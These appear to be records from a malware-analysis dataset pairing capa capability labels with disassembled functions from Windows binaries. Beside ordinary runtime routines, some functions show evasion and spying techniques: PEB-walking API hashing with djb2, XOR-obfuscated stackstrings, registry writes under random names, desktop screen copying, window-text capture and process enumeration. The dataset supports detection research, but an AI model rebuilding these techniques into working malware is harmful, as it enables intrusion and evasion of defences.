joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180019ff0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18003b380]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18001a047
cmp word [rdx], r13w
jne 0x18001a047
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18001a04c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18001a171
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18001a192
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18001a085
mov rdx, r9
mov word [rbx], cx
jmp 0x18001a0ac
cmp r9, r8
jae 0x18001a0bc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18001a066
jmp 0x18001a171
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18001a166
cmp dword [rsp + 0x80], esi
je 0x18001a166
lea r8, [0x18003b380]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18001a13e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18001a10e
mov word [rbx], r13w
jmp 0x18001a16e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18001a11b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18001a16e
cmp word [rsp + 0x70], r13w
jne 0x18001a14b
cmp rbx, r14
je 0x18001a108
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18001ac58
cmp word [rsp + 0x70], r13w
je 0x18001a171
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18003b380]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18001a16b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18001a171
Function at 0x18001e980
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001e9b0
xor eax, eax
jmp 0x18001ea73
mov rbp, rbx
cmp word [rax], si
je 0x18001e9d5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001e9bc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001e9b8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18001d068
movsxd r14, eax
test eax, eax
jne 0x18001ea13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001e9a9
mov rcx, r14
call fcn.18001aebc
mov rdi, rax
test rax, rax
jne 0x18001ea2c
xor ecx, ecx
call fcn.18001771c
jmp 0x18001ea08
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18001d068
test eax, eax
jne 0x18001ea5d
mov rcx, rdi
call fcn.18001771c
jmp 0x18001ea67
xor ecx, ecx
call fcn.18001771c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800212c4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180015b38
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180021365
cmp ebx, dword [rsp + 0x30]
je 0x18002135e
test esi, esi
je 0x18002135e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180021339
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180021346
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180021323
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18002134a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x180021367
mov eax, 1
jmp 0x180021367
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800242f4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18001ac58
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18001ac58
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180024444
cmp rax, 0xffffffffffffffff
je 0x180024444
xor edi, edi
test rbp, rbp
jle 0x1800243ef
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180017758
mov rbx, rax
test rax, rax
jne 0x18002437c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800243e5
mov edx, 0x8000
mov ecx, r14d
call fcn.180024178
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800193a8
cmp eax, 0xffffffff
je 0x1800243c5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18002438c
mov edx, r15d
mov ecx, r14d
call fcn.180024178
jmp 0x1800243e5
cmp byte [rsi + 0x38], dil
je 0x1800243dc
cmp dword [rsi + 0x34], 5
jne 0x1800243dc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800243e5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18001771c
jmp 0x180024458
jns 0x180024458
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18001ac58
cmp rax, 0xffffffffffffffff
jne 0x180024410
cmp byte [rsi + 0x30], dil
je 0x180024458
mov edi, dword [rsi + 0x2c]
jmp 0x180024458
mov ecx, r14d
call fcn.180021cb8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180024458
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180024458
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180024451
mov eax, dword [rsi + 0x2c]
jmp 0x180024456
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18001ac58
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180024f20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180024f48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180024f48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001300
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x410
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x400], rax
call section..text
lea rax, [rsp + 0x50]
xor ebp, ebp
mov r9d, 0x2001f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x50], rbp
lea rdx, str.XprhkwQ_XTvXsdABTLwqvTmvqXqMlK___
mov byte [0x14001bdb0], bpl
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rsi, [0x14001bdb0]
test eax, eax
jne 0x14000139f
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rdx, str.FfGhn
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jmp 0x1400013e3
lea r8, [rsp + 0x50]
mov rcx, 0xffffffff80000001
lea rdx, str.XprhkwQ_XTvXsdABTLwqvTmvqXqMlK___
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov rcx, qword [rsp + 0x50]
lea rax, [0x140017820]
mov dword [rsp + 0x28], ebp
lea rdx, str.FfGhn
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdi, qword [rsp + 0x50]
mov rax, 0xffffffffffffffff
mov rbx, rax
inc rbx
cmp byte [rsi + rbx], bpl
jne 0x1400013f2
inc rbx
lea rsi, str.CKRg1__r
inc rax
cmp byte [rsi + rax], bpl
jne 0x140001405
cmp rbx, rax
lea rcx, [rsp + 0xf0]
mov r8d, 0x100
cmovae rbx, rax
xor edx, edx
call fcn.14000e420
mov r9, rbx
lea rcx, [rsp + 0xf0]
mov r8, rsi
mov edx, 0x100
call fcn.140005880
lea rax, [rsp + 0xf0]
inc ebx
mov dword [rsp + 0x28], ebx
lea rdx, str.FfGhn
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r8, str.notepad.exe
mov edx, 0x104
lea rcx, [rsp + 0x1f0]
call fcn.140005970
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x1f0]
lea rax, [rsp + 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.140001520
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001e1c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e66
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e66
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e66
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e66
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e66
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e68
xor al, al
add rsp, 0x28
ret

Function at 0x1400065bc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400063b8
Function at 0x140008fb8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000903f
mov rsi, rbx
cmp word [rax], bp
je 0x140008ffe
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140008fe8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140008fe4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400099d8
mov rdi, rax
test rax, rax
je 0x14000902c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000e7e0
mov rbp, rdi
xor ecx, ecx
call fcn.140007c80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000e190
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000e1b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000e1b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x4012a0
Capabilities:
Access peb ldr_data

Disassembly:
push rdi
push rsi
mov esi, ecx
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rbx, qword [rax + 0x10]
lea rdi, [rax + 0x10]
cmp rbx, rdi
je 0x4012e3
movzx edx, word [rbx + 0x58]
mov rcx, qword [rbx + 0x60]
call fcn.004017e6
cmp eax, esi
jne 0x4012de
mov rax, qword [rbx + 0x30]
jmp 0x4012e5
mov rbx, qword [rbx]
jmp 0x4012c2
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x4012ed
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x401307
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
je 0x401307
xor eax, eax
ret

Function at 0x4017e6
Capabilities:
Hash data using djb2

Disassembly:
xor r9d, r9d
test rcx, rcx
je 0x401835
mov r8, rcx
mov r9d, 0x1505
mov al, byte [r8]
test rdx, rdx
jne 0x401805
test al, al
jne 0x401819
jmp 0x401835
mov r10, r8
sub r10, rcx
cmp r10, rdx
jae 0x401835
test al, al
jne 0x401819
inc r8
jmp 0x401820
cmp al, 0x60
jbe 0x401820
sub eax, 0x20
mov r10d, r9d
movzx eax, al
inc r8
shl r10d, 5
add eax, r10d
add r9d, eax
jmp 0x4017f7
mov eax, r9d
ret
Function at 0x140001240
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x110
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x108], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140037a20
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 1
xor eax, eax
mov word [rsp + 0xc0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140037a20
mov rcx, qword [rsp + 0x120]
call fcn.14000fdd0
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013a7
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400014c0
mov rcx, rax
call fcn.1400100f0
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x51]
call fcn.1400013f0
mov rcx, rax
call fcn.140010370
mov rdx, rax
lea rcx, [0x14005edc0]
call fcn.140008610
mov ecx, dword [rsp + 0x54]
mov edx, ecx
mov rcx, rax
call fcn.14000c9b0
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
call fcn.140008610
lea rdx, [0x14000a6e0]
mov rcx, rax
call fcn.14000cb70
xor al, al
jmp 0x1400013cf
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.140015110
add rsp, 0x110
pop rdi
ret

Function at 0x1400013f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x28
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x18], rax
mov byte [rsp], 6
mov byte [rsp + 1], 0x45
mov byte [rsp + 2], 0x74
mov byte [rsp + 3], 0x63
mov byte [rsp + 4], 0x67
mov byte [rsp + 5], 0x72
mov byte [rsp + 6], 0x63
mov byte [rsp + 7], 0x56
mov byte [rsp + 8], 0x74
mov byte [rsp + 9], 0x69
mov byte [rsp + 0xa], 0x65
mov byte [rsp + 0xb], 0x63
mov byte [rsp + 0xc], 0x75
mov byte [rsp + 0xd], 0x75
mov byte [rsp + 0xe], 0x26
mov byte [rsp + 0xf], 0x60
mov byte [rsp + 0x10], 0x67
mov byte [rsp + 0x11], 0x6f
mov byte [rsp + 0x12], 0x6a
mov byte [rsp + 0x13], 0x63
mov byte [rsp + 0x14], 0x62
mov byte [rsp + 0x15], 0x26
mov byte [rsp + 0x16], 0x2e
mov byte [rsp + 0x17], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x48]
mov rsi, rax
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x18]
xor rcx, rsp
call fcn.140015110
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140008050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov byte [rsp], 0x2a
mov byte [rsp + 1], 0x5a
mov byte [rsp + 2], 0x45
mov byte [rsp + 3], 0x5d
mov byte [rsp + 4], 0x4f
mov byte [rsp + 5], 0x58
mov byte [rsp + 6], 0x59
mov byte [rsp + 7], 0x42
mov byte [rsp + 8], 0x4f
mov byte [rsp + 9], 0x46
mov byte [rsp + 0xa], 0x46
mov byte [rsp + 0xb], 4
mov byte [rsp + 0xc], 0x4f
mov byte [rsp + 0xd], 0x52
mov byte [rsp + 0xe], 0x4f
mov byte [rsp + 0xf], 0xa
mov byte [rsp + 0x10], 7
mov byte [rsp + 0x11], 0x6f
mov byte [rsp + 0x12], 0x44
mov byte [rsp + 0x13], 0x49
mov byte [rsp + 0x14], 0x45
mov byte [rsp + 0x15], 0x4e
mov byte [rsp + 0x16], 0x4f
mov byte [rsp + 0x17], 0x4e
mov byte [rsp + 0x18], 0x69
mov byte [rsp + 0x19], 0x45
mov byte [rsp + 0x1a], 0x47
mov byte [rsp + 0x1b], 0x47
mov byte [rsp + 0x1c], 0x4b
mov byte [rsp + 0x1d], 0x44
mov byte [rsp + 0x1e], 0x4e
mov byte [rsp + 0x1f], 0xa
mov byte [rsp + 0x20], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015110
add rsp, 0x38
pop rdi
pop rsi
ret

Function at 0x140008370
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov byte [rsp], 0x6a
mov byte [rsp + 1], 0x2c
mov byte [rsp + 2], 0xb
mov byte [rsp + 3], 3
mov byte [rsp + 4], 6
mov byte [rsp + 5], 0xf
mov byte [rsp + 6], 0xe
mov byte [rsp + 7], 0x4a
mov byte [rsp + 8], 0x1e
mov byte [rsp + 9], 5
mov byte [rsp + 0xa], 0x4a
mov byte [rsp + 0xb], 0x18
mov byte [rsp + 0xc], 0x1f
mov byte [rsp + 0xd], 4
mov byte [rsp + 0xe], 0x4a
mov byte [rsp + 0xf], 0x3a
mov byte [rsp + 0x10], 5
mov byte [rsp + 0x11], 0x1d
mov byte [rsp + 0x12], 0xf
mov byte [rsp + 0x13], 0x18
mov byte [rsp + 0x14], 0x39
mov byte [rsp + 0x15], 2
mov byte [rsp + 0x16], 0xf
mov byte [rsp + 0x17], 6
mov byte [rsp + 0x18], 6
mov byte [rsp + 0x19], 0x4a
mov byte [rsp + 0x1a], 0x19
mov byte [rsp + 0x1b], 9
mov byte [rsp + 0x1c], 0x18
mov byte [rsp + 0x1d], 3
mov byte [rsp + 0x1e], 0x1a
mov byte [rsp + 0x1f], 0x1e
mov byte [rsp + 0x20], 0x44
mov byte [rsp + 0x21], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015110
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x140002e30
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002e7a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002e7a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002e7a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002e7a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002e7a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002e7c
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov dword [0x14000462c], eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
mov dword [0x140004628], eax
xor ebp, ebp
movups xmmword [rsp + 0x50], xmm0
mov esi, dword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv dword [0x14000462c]
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, eax
mov eax, 0x66666667
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ebx, eax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov ecx, dword [0x140004628]
mov r8d, ebx
mov r9d, dword [0x14000462c]
mov edx, edi
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 0x12
jne 0x140001044
lea r11, [rsp + 0x80]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400019cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a16
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a18
xor al, al
add rsp, 0x28
ret
Function at 0x140002120
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000215b
mov r8d, 0x104
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetWindowTextW]
add rsp, 0x38
ret

Function at 0x140002440
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x270
mov qword [rsp + 0x260], 0
mov dword [rsp + 0x20], 0
lea rax, [rsp + 0x24]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 0xffffffffffffffff
jne 0x140002498
xor eax, eax
jmp 0x14000251a
mov dword [rsp + 0x20], 0x238
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x260]
call sub.KERNEL32.dll_Process32FirstW
mov dword [rsp + 0x268], eax
jmp 0x1400024d4
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x260]
call sub.KERNEL32.dll_Process32NextW
mov dword [rsp + 0x268], eax
cmp dword [rsp + 0x268], 0
je 0x14000250a
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x4c]
call fcn.1400567e0
test eax, eax
jne 0x140002508
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x14000251a
jmp 0x1400024bb
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x270
pop rdi
ret